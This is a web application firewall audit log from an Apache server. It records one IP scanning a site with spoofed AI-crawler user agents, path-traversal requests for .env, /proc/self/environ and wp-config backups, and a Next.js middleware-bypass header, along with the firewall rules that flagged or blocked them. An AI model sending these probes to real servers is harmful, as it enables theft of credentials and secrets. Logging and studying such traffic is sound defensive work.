HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--3889490f-E--

--3889490f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mmM7dE9KgIIOpQh5lwAAANc"]
Stopwatch: 1789296538501800 7607 (- - -)
Stopwatch2: 1789296538501800 7607; combined=5349, p1=384, p2=4779, p3=113, p4=16, p5=57, sr=163, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3889490f-Z--

--d488fc10-A--
[13/Sep/2026:13:48:58.930092 +0300] aqZ-mkwu1RSkptiiNIX7BgAAAI8 34.80.249.255 36468 127.0.0.1 7081
--d488fc10-B--
GET /dist../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d488fc10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d488fc10-E--

--d488fc10-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dist../.env"] [unique_id "aqZ-mkwu1RSkptiiNIX7BgAAAI8"]
Stopwatch: 1789296538924572 5597 (- - -)
Stopwatch2: 1789296538924572 5597; combined=4250, p1=257, p2=3841, p3=104, p4=8, p5=40, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d488fc10-Z--

--c8634b21-A--
[13/Sep/2026:13:48:58.958982 +0300] aqZ-mjTJ6xTvcJoem7f8GAAAAEY 34.80.249.255 36482 127.0.0.1 7081
--c8634b21-B--
GET /public../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c8634b21-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c8634b21-E--

--c8634b21-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public../.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8GAAAAEY"]
Stopwatch: 1789296538953169 5866 (- - -)
Stopwatch2: 1789296538953169 5866; combined=4589, p1=228, p2=4231, p3=75, p4=14, p5=40, sr=95, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c8634b21-Z--

--14aa640f-A--
[13/Sep/2026:13:48:59.052878 +0300] aqZ-m2M7dE9KgIIOpQh5mQAAAMU 34.80.249.255 36490 127.0.0.1 7081
--14aa640f-B--
GET /js../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--14aa640f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--14aa640f-E--

--14aa640f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/js../.env"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mQAAAMU"]
Stopwatch: 1789296539045213 7719 (- - -)
Stopwatch2: 1789296539045213 7719; combined=5780, p1=307, p2=5315, p3=97, p4=10, p5=51, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--14aa640f-Z--

--d34fb728-A--
[13/Sep/2026:13:48:59.092828 +0300] aqZ-m0wu1RSkptiiNIX7CAAAAIw 34.80.249.255 36506 127.0.0.1 7081
--d34fb728-B--
GET /build../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d34fb728-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d34fb728-E--

--d34fb728-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/build../.env"] [unique_id "aqZ-m0wu1RSkptiiNIX7CAAAAIw"]
Stopwatch: 1789296539087202 5683 (- - -)
Stopwatch2: 1789296539087202 5683; combined=4305, p1=260, p2=3934, p3=66, p4=7, p5=37, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d34fb728-Z--

--50d4eb3d-A--
[13/Sep/2026:13:48:59.099538 +0300] aqZ-m0wu1RSkptiiNIX7BwAAAJM 34.80.249.255 36498 127.0.0.1 7081
--50d4eb3d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--50d4eb3d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--50d4eb3d-E--

--50d4eb3d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-m0wu1RSkptiiNIX7BwAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-m0wu1RSkptiiNIX7BwAAAJM"]
Stopwatch: 1789296539064338 35325 (- - -)
Stopwatch2: 1789296539064338 35325; combined=33832, p1=281, p2=33387, p3=82, p4=9, p5=72, sr=110, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--50d4eb3d-Z--

--ea8c3e77-A--
[13/Sep/2026:13:48:59.493497 +0300] aqZ-mysVWymXUono-eRV9gAAABA 34.80.249.255 36518 127.0.0.1 7081
--ea8c3e77-B--
GET /css../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ea8c3e77-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ea8c3e77-E--

--ea8c3e77-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/css../.env"] [unique_id "aqZ-mysVWymXUono-eRV9gAAABA"]
Stopwatch: 1789296539483706 9860 (- - -)
Stopwatch2: 1789296539483706 9860; combined=8207, p1=333, p2=7719, p3=87, p4=10, p5=58, sr=160, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea8c3e77-Z--

--0f83fe08-A--
[13/Sep/2026:13:48:59.580307 +0300] aqZ-m2M7dE9KgIIOpQh5mgAAAMc 34.80.249.255 36530 127.0.0.1 7081
--0f83fe08-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0f83fe08-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--0f83fe08-E--

--0f83fe08-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mgAAAMc"]
Stopwatch: 1789296539572295 8072 (- - -)
Stopwatch2: 1789296539572295 8072; combined=6483, p1=1113, p2=5225, p3=81, p4=9, p5=55, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0f83fe08-Z--

--eb14490a-A--
[13/Sep/2026:13:48:59.666596 +0300] aqZ-m2M7dE9KgIIOpQh5mwAAANU 34.80.249.255 36536 127.0.0.1 7081
--eb14490a-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--eb14490a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--eb14490a-E--

--eb14490a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mwAAANU"]
Stopwatch: 1789296539650601 16123 (- - -)
Stopwatch2: 1789296539650601 16123; combined=23590, p1=284, p2=4770, p3=85, p4=10, p5=9244, sr=122, sw=1, l=0, gc=9196
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb14490a-Z--

--04cd5503-A--
[13/Sep/2026:13:49:00.443162 +0300] aqZ-nGM7dE9KgIIOpQh5nAAAANg 34.80.249.255 36548 127.0.0.1 7081
--04cd5503-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--04cd5503-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--04cd5503-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nAAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789296540435455 7755 (- - -)
Stopwatch2: 1789296540435455 7755; combined=5847, p1=429, p2=5080, p3=0, p4=0, p5=337, sr=265, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--04cd5503-Z--

--53f91e28-A--
[13/Sep/2026:13:49:00.596177 +0300] aqZ-nGM7dE9KgIIOpQh5nQAAAMk 34.80.249.255 36560 127.0.0.1 7081
--53f91e28-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--53f91e28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--53f91e28-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles/x"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nQAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789296540586232 9999 (- - -)
Stopwatch2: 1789296540586232 9999; combined=8217, p1=335, p2=4266, p3=0, p4=0, p5=3615, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53f91e28-Z--

--d8720365-A--
[13/Sep/2026:13:49:00.614407 +0300] aqZ-nGM7dE9KgIIOpQh5ngAAAMs 34.80.249.255 36590 127.0.0.1 7081
--d8720365-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d8720365-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d8720365-E--

--d8720365-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-nGM7dE9KgIIOpQh5ngAAAMs"]
Stopwatch: 1789296540608779 5677 (- - -)
Stopwatch2: 1789296540608779 5677; combined=4336, p1=242, p2=3982, p3=63, p4=6, p5=43, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8720365-Z--

--6b45ad6e-A--
[13/Sep/2026:13:49:00.738230 +0300] aqZ-nGM7dE9KgIIOpQh5nwAAANM 34.80.249.255 36608 127.0.0.1 7081
--6b45ad6e-B--
GET /wp-config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6b45ad6e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6b45ad6e-E--

--6b45ad6e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
